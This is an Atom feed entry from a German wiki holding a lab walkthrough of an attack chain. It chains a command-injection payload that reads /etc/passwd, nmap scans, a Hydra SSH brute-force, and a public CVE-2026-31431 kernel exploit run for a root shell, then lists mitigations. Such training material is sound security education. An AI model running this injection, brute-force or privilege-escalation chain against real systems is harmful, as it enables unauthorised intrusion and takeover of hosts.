<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Attack_Chain_Example</id>
	<title>Attack Chain Example - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Attack_Chain_Example"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Attack_Chain_Example&amp;action=history"/>
	<updated>2026-07-06T16:34:51Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=Attack_Chain_Example&amp;diff=71088&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „== VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc ==  ; Ziel : Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Attack_Chain_Example&amp;diff=71088&amp;oldid=prev"/>
		<updated>2026-06-15T18:58:01Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „== VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc ==  ; Ziel : Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;== VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc ==&lt;br /&gt;
&lt;br /&gt;
; Ziel&lt;br /&gt;
: Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen gecrackte Credentials, und abschließend Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang.&lt;br /&gt;
&lt;br /&gt;
=== Voraussetzungen ===&lt;br /&gt;
&lt;br /&gt;
* VulnSite läuft auf &amp;lt;code&amp;gt;victim.secure.local&amp;lt;/code&amp;gt; (192.168.16.213)&lt;br /&gt;
* SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)&lt;br /&gt;
* User &amp;lt;code&amp;gt;christine&amp;lt;/code&amp;gt; existiert mit UID 1006 und schlechtem Passwort&lt;br /&gt;
* Wordlist &amp;lt;code&amp;gt;bad-passwords.txt&amp;lt;/code&amp;gt; mit dem Passwort&lt;br /&gt;
* Python3 für Copy Fail Exploit&lt;br /&gt;
* Kali Linux mit nmap, Hydra, SSH Client&lt;br /&gt;
&lt;br /&gt;
=== Phase 1: Command Injection &amp;amp; Reconnaissance ===&lt;br /&gt;
&lt;br /&gt;
; 1a. Web-Interface erkunden&lt;br /&gt;
: VulnSite unter &amp;lt;code&amp;gt;http://victim.secure.local/&amp;lt;/code&amp;gt; aufrufen, &amp;lt;code&amp;gt;host.php&amp;lt;/code&amp;gt; anklicken (Command Injection Modul).&lt;br /&gt;
&lt;br /&gt;
; 1b. Vulnerability ausnutzen&lt;br /&gt;
: Im Eingabefeld folgende Payload eingeben:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xinux.de ; grep bash /etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Das Semikolon beendet den &amp;lt;code&amp;gt;host&amp;lt;/code&amp;gt;-Befehl und führt danach &amp;lt;code&amp;gt;grep bash /etc/passwd&amp;lt;/code&amp;gt; aus. Im Output sichtbar sind alle User mit Login-Shell, z.B.:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
christine:x:1006:1006:Christine User:/home/christine:/bin/bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; 1c. Erste Reconnaissance&lt;br /&gt;
: Notiere die Usernamen mit Shell (&amp;lt;code&amp;gt;/bin/bash&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt;). Ziel-User: &amp;lt;code&amp;gt;christine&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Phase 2: Port-Scanning ===&lt;br /&gt;
&lt;br /&gt;
; 2a. Standard-Portscan von Kali&lt;br /&gt;
: Von Kali aus scannen:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nmap -sS 192.168.16.213&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993) sowie dass Port 22 offen ist.&lt;br /&gt;
&lt;br /&gt;
; 2b. All-Ports-Scan&lt;br /&gt;
: Suche nach zusätzlichen SSH-Instanzen:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nmap -sS 192.168.16.213 -p-&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).&lt;br /&gt;
&lt;br /&gt;
; 2c. Service-Version&lt;br /&gt;
: Bestätige SSH auf 9922:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nmap -sV 192.168.16.213 -p 9922&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Zeigt &amp;lt;code&amp;gt;OpenSSH 9.2p1 Debian 2+deb12u7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Phase 3: SSH Brute-Force mit Hydra ===&lt;br /&gt;
&lt;br /&gt;
; 3a. Vorbereitung&lt;br /&gt;
: Stelle sicher, dass die Wordlist &amp;lt;code&amp;gt;bad-passwords.txt&amp;lt;/code&amp;gt; das Passwort für &amp;lt;code&amp;gt;christine&amp;lt;/code&amp;gt; enthält (in diesem Lab: &amp;lt;code&amp;gt;112233&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
; 3b. Hydra-Angriff&lt;br /&gt;
: Starte den Brute-Force:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hydra -l christine -P bad-passwords.txt -s 9922 192.168.16.213 ssh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Hydra findet schnell: &amp;lt;code&amp;gt;[9922][ssh] host: 192.168.16.213 login: christine password: 112233&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; 3c. SSH-Login&lt;br /&gt;
: Mit den gecracten Credentials anmelden:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh -l christine -p 9922 192.168.16.213&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Passwort: &amp;lt;code&amp;gt;112233&amp;lt;/code&amp;gt;&lt;br /&gt;
: Nach erfolgreicher Authentifizierung landet man in der &amp;lt;code&amp;gt;christine@victim:~$&amp;lt;/code&amp;gt; Shell.&lt;br /&gt;
&lt;br /&gt;
=== Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
; 4a. Exploit herunterladen&lt;br /&gt;
: Vom GitHub-Repository klonen:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/&lt;br /&gt;
christine@victim:~$ cd cve_2026_31431/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; 4b. Vulnerabilität testen&lt;br /&gt;
: Zuerst Detector ausführen:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
christine@victim:~/cve_2026_31431$ python3 test_cve_2026_31431.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Ausgabe sollte sein:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[!] VULNERABLE to CVE-2026-31431.&lt;br /&gt;
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Das Kernel-Subsystem &amp;lt;code&amp;gt;algif_aead&amp;lt;/code&amp;gt; ist anfällig und kann Page-Cache manipuliert werden.&lt;br /&gt;
&lt;br /&gt;
; 4c. Copy Fail Exploit starten&lt;br /&gt;
: Exploit mit Shell-Flag ausführen:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; 4d. Exploit-Ablauf&lt;br /&gt;
: Der Exploit führt folgende Schritte aus:&lt;br /&gt;
* Findet Christines UID in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;: &amp;lt;code&amp;gt;1006&amp;lt;/code&amp;gt;&lt;br /&gt;
* Patcht die 4 Bytes der UID im Page-Cache: &amp;lt;code&amp;gt;1006&amp;lt;/code&amp;gt; → &amp;lt;code&amp;gt;0000&amp;lt;/code&amp;gt;&lt;br /&gt;
* Bestätigt Patch erfolgreich (Page-Cache liest jetzt &amp;lt;code&amp;gt;0000&amp;lt;/code&amp;gt;)&lt;br /&gt;
* Ruft &amp;lt;code&amp;gt;getpwnam('christine')&amp;lt;/code&amp;gt; auf: libc sieht jetzt UID 0&lt;br /&gt;
* Exec's &amp;lt;code&amp;gt;su christine&amp;lt;/code&amp;gt; automatisch&lt;br /&gt;
&lt;br /&gt;
; 4e. Passwort-Eingabe&lt;br /&gt;
: Der &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt;-Befehl fragt nach Christines Passwort:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Password: &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Eingabe: &amp;lt;code&amp;gt;112233&amp;lt;/code&amp;gt; (das gleiche SSH-Passwort)&lt;br /&gt;
&lt;br /&gt;
; 4f. Root-Shell&lt;br /&gt;
: Erfolgreich:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@victim:~/cve_2026_31431# id&lt;br /&gt;
uid=0(root) gid=1006(christine) groups=1006(christine)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; gepatched wurde.&lt;br /&gt;
&lt;br /&gt;
=== Phase 5: Cleanup ===&lt;br /&gt;
&lt;br /&gt;
; 5a. Page-Cache clearen&lt;br /&gt;
: Nach erfolgreicher Escalation Cache-Manipulation aufräumen:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@victim:~/cve_2026_31431# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
: Damit wird die gepatchte &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; Page aus dem Cache entfernt, die echte Disk-Version wird wieder verwendet.&lt;br /&gt;
&lt;br /&gt;
; 5b. Verifizierung&lt;br /&gt;
: Optional: Neue Shell öffnen und verifizieren, dass &amp;lt;code&amp;gt;christine&amp;lt;/code&amp;gt; wieder normale UID hat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@victim:~# su - christine&lt;br /&gt;
Password: 112233&lt;br /&gt;
christine@victim:~$ id&lt;br /&gt;
uid=1006(christine) gid=1006(christine) groups=1006(christine)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Technischer Hintergrund ===&lt;br /&gt;
&lt;br /&gt;
; Command Injection&lt;br /&gt;
: PHP führt Benutzereingabe direkt via &amp;lt;code&amp;gt;shell_exec()&amp;lt;/code&amp;gt; aus. Mit dem Semikolon können beliebige Kommandos gehängt werden.&lt;br /&gt;
&lt;br /&gt;
; SSH Port-Forwarding&lt;br /&gt;
: Die Firewall (nftables NAT) leitet Traffic auf Port 9922 zu internem SSH um:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ip daddr 192.168.16.213 tcp dport 9922 dnat to 10.0.10.123:22&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Brute-Force&lt;br /&gt;
: Hydra versucht alle Passwörter aus der Wordlist sequenziell. Mit schlechten Passwörtern ist Erfolg wahrscheinlich.&lt;br /&gt;
&lt;br /&gt;
; Copy Fail (CVE-2026-31431)&lt;br /&gt;
: Das Kernel-Modul &amp;lt;code&amp;gt;algif_aead&amp;lt;/code&amp;gt; im XFRM-Subsystem hat eine Page-Cache-Write-Vulnerability. Durch gezielte Konstruktion von AES-GCM-Operationen lässt sich ein 4-Byte-Schreibzugriff auf beliebige, lesbare Dateien erzielen (hier: &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;). Die UID wird gepatched, aber &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; bleibt intakt. PAM validiert das Passwort trotzdem gegen die Shadow-Datei, und &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; nutzt die gepatchte UID zum &amp;lt;code&amp;gt;setuid(0)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Mitigationen ===&lt;br /&gt;
&lt;br /&gt;
* Kernel-Update auf Version mit upstream-Patch (nach 13. Mai 2026)&lt;br /&gt;
* Eingabe-Validierung in PHP-Anwendungen (keine Shell-Eval)&lt;br /&gt;
* Starke SSH-Passwörter (nicht in Wordlists)&lt;br /&gt;
* nftables Firewall mit strengen Forward-Regeln&lt;br /&gt;
* AppArmor/SELinux Profile für Apache/PHP&lt;br /&gt;
&lt;br /&gt;
=== Wiederholung &amp;amp; Varianten ===&lt;br /&gt;
&lt;br /&gt;
; Variante A: Ohne Command Injection&lt;br /&gt;
: Direkt zum Port-Scan springen, wenn SSH-Port bekannt ist. Entspricht Social Engineering oder Reconnaissance mit anderen Mitteln.&lt;br /&gt;
&lt;br /&gt;
; Variante B: Anderer Exploit statt Copy Fail&lt;br /&gt;
: Dirty Frag, Dirty Pipe oder andere LPE-CVEs (je nach Kernel-Version).&lt;br /&gt;
&lt;br /&gt;
; Variante C: Pivoting ins interne Netz&lt;br /&gt;
: Nach root-Zugang auf victim — interne Netzwerk-Infrastruktur (LDAP, Mail-Server auf 10.0.10.0/24) scannen und weiter angreifen.&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>